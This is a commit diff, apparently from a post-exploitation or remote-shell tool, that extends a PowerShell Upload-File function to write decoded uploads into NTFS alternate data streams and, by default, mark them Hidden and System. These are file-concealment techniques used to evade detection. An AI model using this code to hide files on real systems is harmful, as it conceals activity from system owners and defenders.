Add ability to upload file to ADS
parent
5a6afd605a
commit
707dc93fa2
|
@ -500,24 +500,39 @@ function Upload-File
|
||||||
[bool] $NotHidden = $false
|
[bool] $NotHidden = $false
|
||||||
)
|
)
|
||||||
try {
|
try {
|
||||||
|
$Stream = ""
|
||||||
|
|
||||||
if ($NotHidden -eq $true) {
|
if ($NotHidden -eq $true) {
|
||||||
|
|
||||||
write-output "Uploaded file to: $Destination"
|
write-output "Uploaded file to: $Destination"
|
||||||
|
$FullPath = $Destination
|
||||||
|
if ($Destination -Match ':[^\\]'){
|
||||||
|
$Destination = $FullPath.Substring(0, $FullPath.LastIndexOf(":"))
|
||||||
|
$Stream = $FullPath.Substring($FullPath.LastIndexOf(":") + 1)
|
||||||
|
}
|
||||||
$fileBytes = [Convert]::FromBase64String($Base64)
|
$fileBytes = [Convert]::FromBase64String($Base64)
|
||||||
[io.file]::WriteAllBytes($Destination, $fileBytes)
|
if ($Stream){
|
||||||
|
add-content -path $Destination -value $fileBytes -stream $Stream -encoding byte
|
||||||
|
} else {
|
||||||
|
[io.file]::WriteAllBytes($Destination, $fileBytes)
|
||||||
|
}
|
||||||
} else {
|
} else {
|
||||||
|
|
||||||
write-output "Uploaded file as HIDDEN & SYSTEM to: $Destination"
|
write-output "Uploaded file as HIDDEN & SYSTEM to: $Destination"
|
||||||
write-output "Run Get-ChildItem -Force to view the uploaded files"
|
write-output "Run Get-ChildItem -Force to view the uploaded files"
|
||||||
|
$FullPath = $Destination
|
||||||
|
if ($Destination -Match ':[^\\]'){
|
||||||
|
$Destination = $FullPath.Substring(0, $FullPath.LastIndexOf(":"))
|
||||||
|
$Stream = $FullPath.Substring($FullPath.LastIndexOf(":") + 1)
|
||||||
|
}
|
||||||
$fileBytes = [Convert]::FromBase64String($Base64)
|
$fileBytes = [Convert]::FromBase64String($Base64)
|
||||||
|
if ($Stream){
|
||||||
|
add-content -path $Destination -value $fileBytes -stream $Stream -encoding byte
|
||||||
|
} else {
|
||||||
[io.file]::WriteAllBytes($Destination, $fileBytes)
|
[io.file]::WriteAllBytes($Destination, $fileBytes)
|
||||||
|
}
|
||||||
$file = Get-Item $Destination -Force
|
$file = Get-Item $Destination -Force
|
||||||
$attrib = $file.Attributes
|
$attrib = $file.Attributes
|
||||||
$attrib = "Hidden,System"
|
$attrib = "Hidden,System"
|
||||||
$file.Attributes = $attrib
|
$file.Attributes = $attrib
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
} catch {
|
} catch {
|
||||||
|
|
Loading…
Reference in New Issue